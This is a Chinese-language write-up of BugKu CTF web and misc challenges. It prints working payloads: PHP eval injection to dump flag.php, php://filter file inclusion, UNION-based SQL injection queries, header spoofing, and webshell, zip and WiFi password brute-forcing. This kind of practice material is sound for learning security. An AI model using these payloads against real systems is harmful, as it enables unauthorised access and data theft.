前兩天無意間翻到一個(gè)CTF平臺(tái)--BugKu,記下wp
WEB
1.Web2
查看源代碼即可得到flag
2.計(jì)算器:
輸入框位數(shù)受到限制,只能輸一位,F(xiàn)12修改位數(shù)

3.web基礎(chǔ)$_GET
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
根據(jù)題意,直接將what賦值為flag去get提交
?what=flag
4.web基礎(chǔ)$_POST
用post方式提交

5.矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

觀察題目,應(yīng)該是使用is_numeric遇到%00截?cái)嗟穆┒?這里構(gòu)造
http://123.206.87.240:8002/get/index1.php?num=1%00
知識(shí)點(diǎn):
is_numeric() 判斷變量是否為數(shù)字或數(shù)字字符串,如果指定的變量是數(shù)字和數(shù)字字符串則返回 TRUE,否則返回 FALSE。不僅檢查10進(jìn)制,16進(jìn)制是可以。
is_numeric函數(shù)對(duì)于空字符%00,無論是%00放在前后都可以判斷為非數(shù)值,而%20空格字符只能放在數(shù)值后。所以,查看函數(shù)發(fā)現(xiàn)該函數(shù)對(duì)對(duì)于第一個(gè)空格字符會(huì)跳過空格字符判斷,接著后面的判斷!
該函數(shù)還可能造成sql注入,例如將‘1 or 1'轉(zhuǎn)換為16進(jìn)制形式,再傳參,就可以造成sql注入
6.web3
界面有點(diǎn)不盡 的彈窗,應(yīng)該是使用了大量的alert語句,直接查看網(wǎng)頁源代碼
最后一行是這樣的

使用html解碼,得到flag
7.域名解析
提示:聽說把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
需要在hosts文件修改以下,我是在linux下做的比較方便
修改/etc/hosts
添加 flag.baidu.com 123.206.87.240 到文件中
然后打開瀏覽器訪問 flag.baidu.com 得到flag
8.你必須讓他停下
打開網(wǎng)站后網(wǎng)頁一直都在跳動(dòng),而且頁面不同,猜測(cè)flag在其中的一些網(wǎng)頁中,采用burp一幀幀的看,在Repeter多次go,很容易就得到了flag
9.本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
方法一
對(duì)_REQUEST[]函數(shù)并不是很了解,百度得到它對(duì)get/Post都可以接受
其中第一句話include“flag.php”說明該文件在本地
第二句話要獲得hello的值,由于hello為’hello’,所以無論在url欄中對(duì)hello賦任何值,都會(huì)全盤接受,其中var_dump()是將a打印到界面中,在根據(jù)eval函數(shù)的特性(計(jì)算后面括號(hào)中的表達(dá)式)
根據(jù)這一特性,我們嘗試將flag.php文件直接輸出
構(gòu)造如下:http://123.206.87.240:8003/?hello=1);print_r(file("./flag.php"));%23
使原文語句為
eval(“var_dump(1);print_r(file(“./flag.php”))”)
方法二:
另外一種方法是直接對(duì)hello賦值為hello=file_get_contents('flag.php')
然后查按F12可以知道flag
10.變量1
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
根據(jù)代碼得知只能get無符號(hào)字符串的args,而輸入之后會(huì)返回$$args的值,提示flag再變量中,可以構(gòu)造args=GLOBALS即可返回該全局變量數(shù)組的所有值,其中包括flag。
構(gòu)造:http://123.206.87.240:8004/index1.php?args=GLOBALS
11.web5
查看源代碼

直接將括號(hào)復(fù)制到谷歌瀏覽器的控制臺(tái)運(yùn)行得到flag

12. 頭等艙
burp抓包:

13. 網(wǎng)站被黑

http://123.206.87.240:8002/webshell/
御劍后臺(tái)掃描,發(fā)現(xiàn)shell.php

用burp自帶的字典爆破,密碼為hack
14.管理員系統(tǒng)
打開解題網(wǎng)址

很像sql注入的題,隨便輸入個(gè)賬號(hào)先試試

看到這個(gè)就想到X-Forwarded-For
簡(jiǎn)稱XFF頭,它代表客戶端,也就是HTTP的請(qǐng)求端真實(shí)的IP
偽造一個(gè)XFF頭,偽裝成本地登錄
X-Forwarded_For: 127.0.0.1
在來看看源碼
看到在源碼的最后面有一個(gè)base64的編碼

解密為test123,猜測(cè)應(yīng)該是管理員密碼
Burp抓包,然后轉(zhuǎn)到Repeater模塊中

Go得到了flag,轉(zhuǎn)換為flag格式
15.Web4
源碼:

查看網(wǎng)頁源代碼p1=%..%...;p2=%..%...
題目最后p1+%..%...+p2
先進(jìn)行URL解碼
p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
%35%34%61%61%32=54aa2
完整代碼:
functioncheckSubmit(){
vara=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
則可知當(dāng)傳入的password值為67d709b2b54aa2aa648cf6e87a7114f1時(shí)返回真值得到flag。
16.flag在index里
將網(wǎng)頁點(diǎn)開,在點(diǎn)擊相應(yīng)連接,網(wǎng)頁地址欄變?yōu)?
http://123.206.87.240:8005/post/index.php?file=show.php
看到了file關(guān)鍵字,猜測(cè)為文件包含,看看用php://filter能否將index讀出來
構(gòu)造:
http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
得到base64解碼,觀察程序得到flag
17.輸入密碼查看flag

burp進(jìn)行五位數(shù)弱密碼爆破,密碼為13579
18. 點(diǎn)擊一百萬次
題目要點(diǎn)擊100萬次才行,很顯然不能
查看網(wǎng)頁源代碼,根據(jù)
if(clicks >= 1000000)
直接將clicks賦值為10000000(POST方法),查看結(jié)果
不能直接修改前端代碼
得到flag

19.備份是個(gè)好習(xí)慣
打開網(wǎng)頁d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
將里面的東西解碼,每個(gè)解碼的方式都試過了,未果,觀察里面的加密值,發(fā)現(xiàn)先后重復(fù)
將d41d8cd98f00b204e9800998ecf8427e解密

然后在flag中試了各種與空有關(guān)的東西,未果。
觀察題目,說備份是個(gè)好習(xí)慣猜測(cè)應(yīng)該與備份有關(guān)
小知識(shí):
備份文件一般情況是在后綴名后加的.swp,.bak
http://120.24.86.145:8002/web16/ 默認(rèn)訪問的是該路徑的index.php文件
看看里面有什么東西
http://120.24.86.145:8002/web16/index.php.bak
訪問成功了,復(fù)原備份文件
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
要求key1和key2的md5值相等,但是值不相等
百度得這兩個(gè)值為240610708和QNKCDZO,嘗試賦值,并沒有什么變化
繼續(xù)觀察源程序,發(fā)現(xiàn)程序中將key字符變?yōu)榭?,考慮用kkeyey取代key,

然后得到了flag
20.成績(jī)單
看到題后首先想到的是sql注入
先爆數(shù)據(jù)庫:
0' union select 1,user(),database(),4 -- +

爆表:
0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' -- +

可以看到有倆表,flag應(yīng)該在fl4g里
爆列:
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #

值:
-1' union select 1,skctf_flag,3,4 from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}
21.秋名山老司機(jī)

算數(shù),無奈只能上腳本
這題不停刷新會(huì)看到

要post提交一個(gè)value數(shù)據(jù),value就是結(jié)果值
福腳本:
import requests
import re
import base64
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.session()
r=s.get(url)
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post(url, data=d)
print(r.text)
運(yùn)行結(jié)果得flag
22.速度要快

源碼提示:
上腳本
import requests
import re
import base64
url='http://123.206.87.240:8002/web6/'
s=requests.session()
r=s.get(url)
flag=r.headers['flag']
print(flag)
flag1=base64.b64decode(flag)
print(flag1)
flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])
#將flag分為兩部分,[1:-1]就是獲取到的值
print(flag2)
data={"margin":flag2}
r=s.post(url,data)
print(r.text)
23.cookies欺騙
點(diǎn)進(jìn)來URL
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解碼是keys.txt 所以替換成base64后的index.php。沒作用,但line=1時(shí)出現(xiàn)一行php代碼,可判定line為源碼的行數(shù)
寫腳本遍歷獲得源代碼
import re
import requests
url='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
for i in range(100):
url1=url%i
c1=requests.get(url1).text
print(c1)
if c1=='':
break
php源碼:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
從源碼中看出訪問keys.php,然后cookie值要margin=margin。。
前提keys.php以base64形式訪問a2V5cy5waHA=

24.never give up
源碼提示:
<!--1p.html-->
never never never give up !!!
抓包
然后訪問1p.html

會(huì)得到一堆base64,解密后是url編碼,再解碼
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
直接訪問f4l2a3g.txt 得到flag
MISC
1.簽到題
直接關(guān)注公眾號(hào)即可
2.這是一張簡(jiǎn)單的圖片
將圖片下載到本地,使用winhex打開圖片,在末尾有一組數(shù)據(jù)信息
key{you are right}

html解碼即可
3.隱寫
打開發(fā)現(xiàn)是一張png格式的照片,放進(jìn)StegSolve沒發(fā)現(xiàn)啥
百度一下原來是改高度
找到IDR片段就是00 00 00 0D開頭的,把其中的A4改為F4,得到flag
4.telnet
打開發(fā)現(xiàn)是一個(gè)數(shù)據(jù)包,用wireshark打開,查看整個(gè)包的信息,可以追蹤一下TCP流,發(fā)現(xiàn)里面有一個(gè)flag

5.眼見非實(shí)
解壓發(fā)現(xiàn)是個(gè)Word文檔,嘗試打開打不開,放進(jìn)winhex里面看是504B0304開頭的,一個(gè)zip文件,改后綴名再次打開,并在里面的document.xml發(fā)現(xiàn)flag

6.啊噠
拿到之后是一個(gè)jpg文件,先使用binwalk分析下文件,得到圖片中隱藏了一段tiff信息以及一個(gè)壓縮包,都分離出來,發(fā)現(xiàn)壓縮包被加密了,
tiff信息在相機(jī)型號(hào)出處有一段十六進(jìn)制,轉(zhuǎn)換成字符串以后是sdnisc_2018,如下圖所示:

使用這個(gè)密碼解密壓縮包,即可獲得
7.又一張圖片,還單純嗎??
放進(jìn)binwalk里跑一下,發(fā)現(xiàn)里面還有一張圖片分離出來

沒找到flag,foremost提取吧
# foremost 圖片地址
root@kali:~/桌面# foremost 2.jpg
Processing: 2.jpg
|*|
root@kali:~/桌面# ls
2.jpg output
root@kali:~/桌面# cd output/
root@kali:~/桌面/output# ls
audit.txt jpg
這時(shí)會(huì)在當(dāng)前目錄生成output文件,打開文件就可以看到一張flag圖片

8.猜
直接百度搜圖,某劉姓女明星
key{liuyifei}
9.寬帶信息泄露
看到是一個(gè)二進(jìn)制文件,用RoutePassView打開,題目提示是用戶名,便尋找用戶名

flag{用戶名}
10.隱寫2
winhex打開沒發(fā)現(xiàn)什么
使用binwalk查看信息

里面zip壓縮文件
使用binwalk或者foremost分離
打開output文件,里面有一個(gè)zip文件
還有個(gè)提示

提示密碼是三位數(shù)
創(chuàng)建字典
crunch 3 3 0123456789 -o password.txt
fcrackzip爆破
fcrackzip -D -p password.txt -u flag.rar -v

也可以腳本爆破
import zipfile
import os
def main():
zip = zipfile.ZipFile("./123.zip","r",zipfile.zlib.DEFLATED)
with open("./password.txt") as f:
for data in f.readlines():
try:
print("\n[+] Trying the password ",data.strip())
zip.extractall(path="./",pwd=data.strip().encode())
print("\n[+] The password is",data.strip())
zip.close()
return
except Exception as e :
print(e)
pass
if __name__ == '__main__':
main()
解壓后得到一張圖片
通過寫字板打開獲得f1@g{eTB1IEFyZSBhIGhAY2tlciE=}
很明顯eTB1IEFyZSBhIGhAY2tlciE=是Base64加密,通過解密獲得y0u Are a h@cker!
即f1@g{y0u Are a h@cker!},提交時(shí)需要將f1@g變換為flag,即最終為flag{y0u Are a h@cker!}
11.多種方法解決
下載下來發(fā)現(xiàn)是一個(gè)exe文件,又打不開,放進(jìn)Notepad++看一下,發(fā)現(xiàn)這是一個(gè)可以轉(zhuǎn)圖片的Base64
直接轉(zhuǎn)換即可 http://base64.xpcha.com/ 是個(gè)二維碼
掃一下獲得key

12.linux
下載下來是一個(gè)linux下的壓縮包,但這題不需要在linux下,解壓后文件Notepad++打開并搜索關(guān)鍵字key得到flag
在linux下也行

13.閃的好快
一個(gè)變化的二維碼
使用StegSolve查看幀數(shù),共18,

一幀一幀掃完拼成flag
14.come_game
下載下來打開是個(gè)游戲
最后一關(guān)是flag,手殘當(dāng)根本過不去,另想別法

觀察規(guī)律發(fā)現(xiàn)打開游戲后會(huì)生成Deathtime文件,應(yīng)該是死亡時(shí)間,還有一個(gè)save文件應(yīng)該是保存關(guān)數(shù),于是想辦法修改關(guān)數(shù)直接到最后一關(guān),用winhex打開save文件
測(cè)試發(fā)現(xiàn)最后一關(guān)是第5關(guān)


flag: SYC{}
15.隱寫3
感覺下面還有東西,于是就打算改高度,于是發(fā)現(xiàn)了flag



16.做個(gè)游戲(08067CTF)
提示:堅(jiān)持60秒 相當(dāng)難
下載下來jar文件,java反編譯一下,

17想蹭網(wǎng)先解開密碼

# w 寫模式,它是不能讀的,如果用w模式打開一個(gè)已經(jīng)存在的文件,會(huì)清空以前的文件內(nèi)容,重新寫
# w+ 是讀寫內(nèi)容,只要沾上w,肯定會(huì)清空原來的文件
with open('wifilist.txt','w+') as f:
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for h in range(0,10):
f.write('1391040'+str(i)+str(j)+str(k)+str(h)+'\n')
f.close
用腳本先生成字典,然后爆破
kali命令爆破
aircrack-ng wifi.cap -w wifi.txt


得到flag
18.Linux2
直接解壓Notepad++打開搜索key就有了,,,,
19.賬號(hào)被盜了
訪問鏈接,使用burpsuite抓包,修改Cookie,右鍵->Send to Repeater->go

將123.exe下載下來,打開是一個(gè)CF刷槍軟件

使用wireshark抓包,賬號(hào)密碼隨便填寫


賬號(hào): YmtjdGZ0ZXN0QDE2My5jb20=
密碼:YTEyMzQ1Ng==
將base64解密得到163郵箱,將密碼解密是a123456,登錄郵箱就可得到flag,

20. 細(xì)心的大象
lag格式 flag{xxx_xxx_xxx}
解壓得到1.jpg圖片
查看屬性,發(fā)現(xiàn)有一段base64加密內(nèi)容

解密得到明文,這應(yīng)該是密碼之類的,先放著

接下來 日常丟進(jìn)kali binwalk 一下
分離 打開 要密碼
把我們剛才的解密丟進(jìn)去!成功!!
又是一張圖片?
看圖片應(yīng)該是是改寬高
winhex修改高度

21.爆照(08067CTF)
留坑